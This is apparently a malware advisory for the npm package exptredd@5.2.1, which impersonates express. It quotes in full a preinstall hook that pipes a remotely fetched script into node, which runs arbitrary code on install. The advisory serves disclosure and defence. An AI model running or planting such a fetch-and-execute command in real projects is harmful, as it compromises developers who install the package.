exptredd@5.2.1
Vulnerability report · Last retrieved from osv.dev September 29, 2026 at 3:09 PM UTC
OSV ID
MAL-2026-17247
Ecosystem
npm
Summary
npm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes express and runs npm install exptredd executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user.
Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.